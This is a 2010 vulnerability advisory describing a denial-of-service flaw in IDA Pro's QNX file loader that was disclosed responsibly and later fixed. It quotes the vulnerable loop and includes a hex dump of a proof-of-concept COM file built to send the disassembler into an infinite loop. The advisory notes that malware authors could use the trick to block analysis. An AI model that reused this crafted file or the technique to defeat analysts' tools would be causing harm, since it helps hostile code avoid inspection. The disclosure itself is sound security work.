IDA Pro Denial Of Service

`Denial-of-Service Vulnerability in IDA Pro  
------------------------------------------  
  
June 28th, 2010  
  
=======  
Summary  
=======  
Name: Denial-of-Service Vulnerability in IDA Pro  
Release Date: June 28th, 2010  
Discoverer: Jason Geffner  
Version Affected: IDA Pro 3.76 through 5.6  
Risk: Low  
Status: Published  
  
============  
Introduction  
============  
This paper discusses how a binary file could be crafted to cause IDA Pro to  
consume 100% of CPU resources while trying to analyze it, thus preventing  
disassembling. While this vulnerability is in the QNX file loader, a functional  
COM file could be crafted to masquerade as a QNX file and trigger this issue.  
This vulnerability was responsibly disclosed to IDA Pro's support personnel and  
this advisory was not released until a fixed build was publicly released.  
  
==========  
Background  
==========  
"The IDA Pro Disassembler and Debugger is an interactive, programmable,  
extendible, multi-processor disassembler hosted on Windows, Linux, or Mac OS X.  
IDA Pro has become the de-facto standard for the analysis of hostile code,  
vulnerability research and COTS validation." [1]  
  
========  
Timeline  
========  
07/28/98 IDA Pro loader for QNX files written  
12/31/09 Denial-of-service vulnerability discovered in IDA Pro loader for QNX  
files  
12/31/09 Detailed vulnerability report responsibly disclosed to IDA Pro's  
support personnel  
01/04/10 Response received from IDA Pro's support personnel, confirming  
vulnerability  
06/25/10 IDA Pro 5.7 released, fixing vulnerability  
06/28/10 Advisory released  
  
=============  
Vulnerability  
=============  
IDA Pro uses different file loaders to disassemble files of different formats  
(PE, ELF, etc.). The loader for QNX files contains a vulnerability that allows  
a specially crafted file to cause the loader to go into an infinite loop,  
thereby consuming 100% of CPU resources and preventing disassembly.  
  
The for-loop below is designed to iterate through each lmf_data structure in  
the input file, advancing the file pointer based on sizeof(lmf_data) +  
lmf_data.offset). However, if lmf_data.offset == -sizeof(lmf_data) then at is  
never increased and this code will run in an infinite loop.  
  
>From \ldr\qnx\qnx.cpp(50):  
for(uint32 at = sizeof(ex.lmf_header)+ex.lmf_header.data_nbytes;  
lmf_data.segment_index != _LMF_EOF_REC;  
at += sizeof(lmf_data) + lmf_data.offset)  
{  
qlseek( li, at, 0 );  
if ( sizeof(_lmf_data) !=  
qlread( li, &lmf_data, sizeof(_lmf_data) ) ) return 0;  
switch(lmf_data.segment_index)  
{  
...  
case _LMF_COMMENT_REC:  
break;  
...  
}  
}  
  
=======  
Exploit  
=======  
While this vulnerability is in the QNX file loader, a functional COM file could  
be crafted to masquerade as a QNX file and trigger this issue. As such, it  
would be possible for a malware author to create a working malicious COM  
program, craft it to appear as a QNX file to IDA Pro, and thus prevent IDA Pro  
from being able to disassemble it. Windows 7 will correctly run such a COM  
program even if it is named with a .EXE extension.  
  
See below for a proof-of-concept COM file. When run from a command-prompt, this  
program will print, "I can't be opened in IDA Pro :)". When opened in IDA Pro,  
it will cause IDA Pro to spin in an infinite loop.  
  
00000000: 00 00 34 00 00 00 b4 09 eb 02 82 01 ba 13 01 cd ..4.............  
00000010: 21 cd 20 49 20 63 61 6e 27 74 20 62 65 20 6f 70 !. I can't be op  
00000020: 65 6e 65 64 20 69 6e 20 49 44 41 20 50 72 6f 20 ened in IDA Pro   
00000030: 3a 29 24 00 00 00 00 00 00 00 01 00 fa ff ff ff :)$.............  
00000040: 00 00 00 00 00 00 ......  
  
==========  
Conclusion  
==========  
In-depth code reviews and fuzzing should be performed on all software,  
especially when the software is designed for analyzing malicious and/or  
untrusted data.  
  
===============  
Fix Information  
===============  
This issue has now been resolved. IDA Pro 5.7 can be downloaded from  
https://www.hex-rays.com/updida.shtml  
  
==========  
References  
==========  
[1] http://hex-rays.com/idapro/overview.htm  
  
NGSSoftware Insight Security Research  
http://www.ngssoftware.com/  
http://www.databasesecurity.com/  
http://www.nextgenss.com/  
+44(0)208 401 0070  
`